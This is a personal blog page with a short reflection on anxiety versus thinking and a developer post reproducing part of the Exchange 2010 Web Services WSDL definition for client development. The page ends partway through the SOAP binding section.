Amit Sachan || अमित सचान || امت سکهان

Anxiety Or Thinking | चिंता या चिंतन

2011-07-28T11:06:00.002+05:30

"चिंता चिता से बड़ कर है, जिन्दों को चिंता खाती है, मुर्दों को चिता जलाती है."

Sometimes, its very difficult to identify whether a person is tensed or inventing a thought. Its very odd and common as well. We all know that, being tensed is not a solution to any problem. Even though we all did the same.

Yesterday while reading a mytho book written by Krishi (ऋषि) Valmiki, I found a line which was narrated to Lav-Kush in their primary education.

"The line where Anxiety and Thinking are equal/same, is the true path of life."

Will it be possible? Can there be a place where both are same? I tried a lot to find a scenario or situation where this can be applied. Lastly I found that, I don't have that much knowledge to see what he saw million years ago.

But I know that you are all great thinker as well, If you got any clue about it. Please let me know.

Microsoft Exchange 2010 Online

2011-01-11T11:53:00.000+05:30

I am working on a client development for Exchange 2010, but I didn't find anything good on web.
I did some R&D with the URLs provided by Microsoft and found the following WSDL.

<?xml version="1.0" encoding="utf-8"?>
<wsdl:definitions xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:s="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
<wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
<xs:import namespace="http://schemas.microsoft.com/exchange/services/2006/messages" schemaLocation="messages.xsd"/>
</xs:schema>
</wsdl:types>
<wsdl:message name="ConvertIdSoapIn">
<wsdl:part name="request" element="tns:ConvertId"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="ConvertIdSoapOut">
<wsdl:part name="ConvertIdResult" element="tns:ConvertIdResponse"/>
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="GetFolderSoapIn">
<wsdl:part name="request" element="tns:GetFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="GetFolderSoapOut">
<wsdl:part name="GetFolderResult" element="tns:GetFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CreateFolderSoapIn">
<wsdl:part name="request" element="tns:CreateFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="CreateFolderSoapOut">
<wsdl:part name="CreateFolderResult" element="tns:CreateFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CreateManagedFolderSoapIn">
<wsdl:part name="request" element="tns:CreateManagedFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="CreateManagedFolderSoapOut">
<wsdl:part name="CreateManagedFolderResult" element="tns:CreateManagedFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="DeleteFolderSoapIn">
<wsdl:part name="request" element="tns:DeleteFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="DeleteFolderSoapOut">
<wsdl:part name="DeleteFolderResult" element="tns:DeleteFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="UpdateFolderSoapIn">
<wsdl:part name="request" element="tns:UpdateFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="UpdateFolderSoapOut">
<wsdl:part name="UpdateFolderResult" element="tns:UpdateFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="MoveFolderSoapIn">
<wsdl:part name="request" element="tns:MoveFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="MoveFolderSoapOut">
<wsdl:part name="MoveFolderResult" element="tns:MoveFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CopyFolderSoapIn">
<wsdl:part name="request" element="tns:CopyFolder" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="CopyFolderSoapOut">
<wsdl:part name="CopyFolderResult" element="tns:CopyFolderResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="FindFolderSoapIn">
<wsdl:part name="request" element="tns:FindFolder"/>
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="FindFolderSoapOut">
<wsdl:part name="FindFolderResult" element="tns:FindFolderResponse"/>
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="GetItemSoapIn">
<wsdl:part name="request" element="tns:GetItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="GetItemSoapOut">
<wsdl:part name="GetItemResult" element="tns:GetItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CreateItemSoapIn">
<wsdl:part name="request" element="tns:CreateItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
<wsdl:part name="TimeZoneContext" element="t:TimeZoneContext"/>
</wsdl:message>
<wsdl:message name="CreateItemSoapOut">
<wsdl:part name="CreateItemResult" element="tns:CreateItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="DeleteItemSoapIn">
<wsdl:part name="request" element="tns:DeleteItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="DeleteItemSoapOut">
<wsdl:part name="DeleteItemResult" element="tns:DeleteItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="UpdateItemSoapIn">
<wsdl:part name="request" element="tns:UpdateItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
<wsdl:part name="TimeZoneContext" element="t:TimeZoneContext"/>
</wsdl:message>
<wsdl:message name="UpdateItemSoapOut">
<wsdl:part name="UpdateItemResult" element="tns:UpdateItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="SendItemSoapIn">
<wsdl:part name="request" element="tns:SendItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="SendItemSoapOut">
<wsdl:part name="SendItemResult" element="tns:SendItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="MoveItemSoapIn">
<wsdl:part name="request" element="tns:MoveItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="MoveItemSoapOut">
<wsdl:part name="MoveItemResult" element="tns:MoveItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CopyItemSoapIn">
<wsdl:part name="request" element="tns:CopyItem" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="CopyItemSoapOut">
<wsdl:part name="CopyItemResult" element="tns:CopyItemResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="CreateAttachmentSoapIn">
<wsdl:part name="request" element="tns:CreateAttachment" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="CreateAttachmentSoapOut">
<wsdl:part name="CreateAttachmentResult" element="tns:CreateAttachmentResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="DeleteAttachmentSoapIn">
<wsdl:part name="request" element="tns:DeleteAttachment" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="DeleteAttachmentSoapOut">
<wsdl:part name="DeleteAttachmentResult" element="tns:DeleteAttachmentResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="GetAttachmentSoapIn">
<wsdl:part name="request" element="tns:GetAttachment" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="GetAttachmentSoapOut">
<wsdl:part name="GetAttachmentResult" element="tns:GetAttachmentResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="ResolveNamesSoapIn">
<wsdl:part name="request" element="tns:ResolveNames" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="ResolveNamesSoapOut">
<wsdl:part name="ResolveNamesResult" element="tns:ResolveNamesResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="ExpandDLSoapIn">
<wsdl:part name="request" element="tns:ExpandDL" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="ExpandDLSoapOut">
<wsdl:part name="ExpandDLResult" element="tns:ExpandDLResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="FindItemSoapIn">
<wsdl:part name="request" element="tns:FindItem"/>
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="FindItemSoapOut">
<wsdl:part name="FindItemResult" element="tns:FindItemResponse"/>
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>

<wsdl:message name="SubscribeSoapIn">
<wsdl:part name="request" element="tns:Subscribe" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="SubscribeSoapOut">
<wsdl:part name="SubscribeResult" element="tns:SubscribeResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="UnsubscribeSoapIn">
<wsdl:part name="request" element="tns:Unsubscribe" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="UnsubscribeSoapOut">
<wsdl:part name="UnsubscribeResult" element="tns:UnsubscribeResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="GetEventsSoapIn">
<wsdl:part name="request" element="tns:GetEvents" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="GetEventsSoapOut">
<wsdl:part name="GetEventsResult" element="tns:GetEventsResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="SyncFolderHierarchySoapIn">
<wsdl:part name="request" element="tns:SyncFolderHierarchy" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="SyncFolderHierarchySoapOut">
<wsdl:part name="SyncFolderHierarchyResult" element="tns:SyncFolderHierarchyResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="SyncFolderItemsSoapIn">
<wsdl:part name="request" element="tns:SyncFolderItems" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="SyncFolderItemsSoapOut">
<wsdl:part name="SyncFolderItemsResult" element="tns:SyncFolderItemsResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>

<wsdl:message name="GetDelegateSoapIn">
<wsdl:part name="request" element="tns:GetDelegate" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="GetDelegateSoapOut">
<wsdl:part name="GetDelegateResult" element="tns:GetDelegateResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="AddDelegateSoapIn">
<wsdl:part name="request" element="tns:AddDelegate" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="AddDelegateSoapOut">
<wsdl:part name="AddDelegateResult" element="tns:AddDelegateResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="RemoveDelegateSoapIn">
<wsdl:part name="request" element="tns:RemoveDelegate" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="RemoveDelegateSoapOut">
<wsdl:part name="RemoveDelegateResult" element="tns:RemoveDelegateResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="UpdateDelegateSoapIn">
<wsdl:part name="request" element="tns:UpdateDelegate" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
<wsdl:part name="S2SAuth" element="t:SerializedSecurityContext"/>
<wsdl:part name="MailboxCulture" element="t:MailboxCulture"/>
<wsdl:part name="RequestVersion" element="t:RequestServerVersion"/>
</wsdl:message>
<wsdl:message name="UpdateDelegateSoapOut">
<wsdl:part name="UpdateDelegateResult" element="tns:UpdateDelegateResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>



<wsdl:message name="GetUserAvailabilitySoapIn">
<wsdl:part name="GetUserAvailabilityRequest" element="tns:GetUserAvailabilityRequest" />
<wsdl:part name="SerializedSecurityContext" element="t:SerializedSecurityContext" />
<wsdl:part name="ProxyRequestTypeHeader" element="t:ProxyRequestTypeHeader" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
</wsdl:message>
<wsdl:message name="GetUserAvailabilitySoapOut">
<wsdl:part name="GetUserAvailabilityResult" element="tns:GetUserAvailabilityResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="GetUserOofSettingsSoapIn">
<wsdl:part name="GetUserOofSettingsRequest" element="tns:GetUserOofSettingsRequest" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
</wsdl:message>
<wsdl:message name="GetUserOofSettingsSoapOut">
<wsdl:part name="GetUserOofSettingsResult" element="tns:GetUserOofSettingsResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>
<wsdl:message name="SetUserOofSettingsSoapIn">
<wsdl:part name="SetUserOofSettingsRequest" element="tns:SetUserOofSettingsRequest" />
<wsdl:part name="Impersonation" element="t:ExchangeImpersonation"/>
</wsdl:message>
<wsdl:message name="SetUserOofSettingsSoapOut">
<wsdl:part name="SetUserOofSettingsResult" element="tns:SetUserOofSettingsResponse" />
<wsdl:part name="ServerVersion" element="t:ServerVersionInfo"/>
</wsdl:message>

<wsdl:portType name="ExchangeServicePortType">
<wsdl:operation name="ResolveNames">
<wsdl:input message="tns:ResolveNamesSoapIn" />
<wsdl:output message="tns:ResolveNamesSoapOut" />
</wsdl:operation>
<wsdl:operation name="ExpandDL">
<wsdl:input message="tns:ExpandDLSoapIn" />
<wsdl:output message="tns:ExpandDLSoapOut" />
</wsdl:operation>
<wsdl:operation name="FindFolder">
<wsdl:input message="tns:FindFolderSoapIn"/>
<wsdl:output message="tns:FindFolderSoapOut"/>
</wsdl:operation>
<wsdl:operation name="FindItem">
<wsdl:input message="tns:FindItemSoapIn"/>
<wsdl:output message="tns:FindItemSoapOut"/>
</wsdl:operation>
<wsdl:operation name="GetFolder">
<wsdl:input message="tns:GetFolderSoapIn" />
<wsdl:output message="tns:GetFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="ConvertId">
<wsdl:input message="tns:ConvertIdSoapIn"/>
<wsdl:output message="tns:ConvertIdSoapOut"/>
</wsdl:operation>
<wsdl:operation name="CreateFolder">
<wsdl:input message="tns:CreateFolderSoapIn" />
<wsdl:output message="tns:CreateFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="DeleteFolder">
<wsdl:input message="tns:DeleteFolderSoapIn" />
<wsdl:output message="tns:DeleteFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="UpdateFolder">
<wsdl:input message="tns:UpdateFolderSoapIn" />
<wsdl:output message="tns:UpdateFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="MoveFolder">
<wsdl:input message="tns:MoveFolderSoapIn" />
<wsdl:output message="tns:MoveFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="CopyFolder">
<wsdl:input message="tns:CopyFolderSoapIn" />
<wsdl:output message="tns:CopyFolderSoapOut" />
</wsdl:operation>
<wsdl:operation name="Subscribe">
<wsdl:input message="tns:SubscribeSoapIn" />
<wsdl:output message="tns:SubscribeSoapOut" />
</wsdl:operation>
<wsdl:operation name="Unsubscribe">
<wsdl:input message="tns:UnsubscribeSoapIn" />
<wsdl:output message="tns:UnsubscribeSoapOut" />
</wsdl:operation>
<wsdl:operation name="GetEvents">
<wsdl:input message="tns:GetEventsSoapIn" />
<wsdl:output message="tns:GetEventsSoapOut" />
</wsdl:operation>
<wsdl:operation name="SyncFolderHierarchy">
<wsdl:input message="tns:SyncFolderHierarchySoapIn" />
<wsdl:output message="tns:SyncFolderHierarchySoapOut" />
</wsdl:operation>
<wsdl:operation name="SyncFolderItems">
<wsdl:input message="tns:SyncFolderItemsSoapIn" />
<wsdl:output message="tns:SyncFolderItemsSoapOut" />
</wsdl:operation>

<wsdl:operation name="CreateManagedFolder">
<wsdl:input message="tns:CreateManagedFolderSoapIn" />
<wsdl:output message="tns:CreateManagedFolderSoapOut" />
</wsdl:operation>

<wsdl:operation name="GetItem">
<wsdl:input message="tns:GetItemSoapIn" />
<wsdl:output message="tns:GetItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="CreateItem">
<wsdl:input message="tns:CreateItemSoapIn" />
<wsdl:output message="tns:CreateItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="DeleteItem">
<wsdl:input message="tns:DeleteItemSoapIn" />
<wsdl:output message="tns:DeleteItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="UpdateItem">
<wsdl:input message="tns:UpdateItemSoapIn" />
<wsdl:output message="tns:UpdateItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="SendItem">
<wsdl:input message="tns:SendItemSoapIn" />
<wsdl:output message="tns:SendItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="MoveItem">
<wsdl:input message="tns:MoveItemSoapIn" />
<wsdl:output message="tns:MoveItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="CopyItem">
<wsdl:input message="tns:CopyItemSoapIn" />
<wsdl:output message="tns:CopyItemSoapOut" />
</wsdl:operation>
<wsdl:operation name="CreateAttachment">
<wsdl:input message="tns:CreateAttachmentSoapIn" />
<wsdl:output message="tns:CreateAttachmentSoapOut" />
</wsdl:operation>
<wsdl:operation name="DeleteAttachment">
<wsdl:input message="tns:DeleteAttachmentSoapIn" />
<wsdl:output message="tns:DeleteAttachmentSoapOut" />
</wsdl:operation>
<wsdl:operation name="GetAttachment">
<wsdl:input message="tns:GetAttachmentSoapIn" />
<wsdl:output message="tns:GetAttachmentSoapOut" />
</wsdl:operation>
<wsdl:operation name="GetDelegate">
<wsdl:input message="tns:GetDelegateSoapIn" />
<wsdl:output message="tns:GetDelegateSoapOut" />
</wsdl:operation>
<wsdl:operation name="AddDelegate">
<wsdl:input message="tns:AddDelegateSoapIn" />
<wsdl:output message="tns:AddDelegateSoapOut" />
</wsdl:operation>
<wsdl:operation name="RemoveDelegate">
<wsdl:input message="tns:RemoveDelegateSoapIn" />
<wsdl:output message="tns:RemoveDelegateSoapOut" />
</wsdl:operation>
<wsdl:operation name="UpdateDelegate">
<wsdl:input message="tns:UpdateDelegateSoapIn" />
<wsdl:output message="tns:UpdateDelegateSoapOut" />
</wsdl:operation>




<wsdl:operation name="GetUserAvailability">
<wsdl:input message="tns:GetUserAvailabilitySoapIn" />
<wsdl:output message="tns:GetUserAvailabilitySoapOut" />
</wsdl:operation>


<wsdl:operation name="GetUserOofSettings">
<wsdl:input message="tns:GetUserOofSettingsSoapIn" />
<wsdl:output message="tns:GetUserOofSettingsSoapOut" />
</wsdl:operation>


<wsdl:operation name="SetUserOofSettings">
<wsdl:input message="tns:SetUserOofSettingsSoapIn" />
<wsdl:output message="tns:SetUserOofSettingsSoapOut" />
</wsdl:operation>
</wsdl:portType>

<wsdl:binding name="ExchangeServiceBinding" type="tns:ExchangeServicePortType">
<wsdl:documentation>
<wsi:Claim conformsTo="http://ws-i.org/profiles/basic/1.0" xmlns:wsi="http://ws-i.org/schemas/conformanceClaim/" />
</wsdl:documentation>
<soap:binding transport="http://schemas.xmlsoap.org/soap/http" style="document" />
<wsdl:operation name="ResolveNames">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/ResolveNames" />
<wsdl:input>
<soap:body parts="request" use="literal"/>
<soap:header message="tns:ResolveNamesSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:ResolveNamesSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:ResolveNamesSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:ResolveNamesSoapIn" part="RequestVersion" use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body parts="ResolveNamesResult" use="literal" />
<soap:header message="tns:ResolveNamesSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="ExpandDL">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/ExpandDL" />
<wsdl:input>
<soap:header message="tns:ExpandDLSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:ExpandDLSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:ExpandDLSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:ExpandDLSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="ExpandDLResult" use="literal" />
<soap:header message="tns:ExpandDLSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>

<wsdl:operation name="FindFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"/>
<wsdl:input>
<soap:header message="tns:FindFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:FindFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:FindFolderSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:FindFolderSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="FindFolderResult" use="literal" />
<soap:header message="tns:FindFolderSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="FindItem">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/FindItem"/>
<wsdl:input>
<soap:header message="tns:FindItemSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:FindItemSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:FindItemSoapIn" part="MailboxCulture" use="literal"/>
<soap:header message="tns:FindItemSoapIn" part="RequestVersion" use="literal"/>
<soap:body parts="request" use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body parts="FindItemResult" use="literal" />
<soap:header message="tns:FindItemSoapOut" part="ServerVersion" use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:operation name="GetFolder">
<soap:operation soapAction="http://schemas.microsoft.com/exchange/services/2006/messages/GetFolder" />
<wsdl:input>
<soap:header message="tns:GetFolderSoapIn" part="Impersonation" use="literal"/>
<soap:header message="tns:GetFolderSoapIn" part="S2SAuth" use="literal"/>
<soap:header message="tns:GetFolderSoapIn" part="MailboxCulture" use="literal"/>
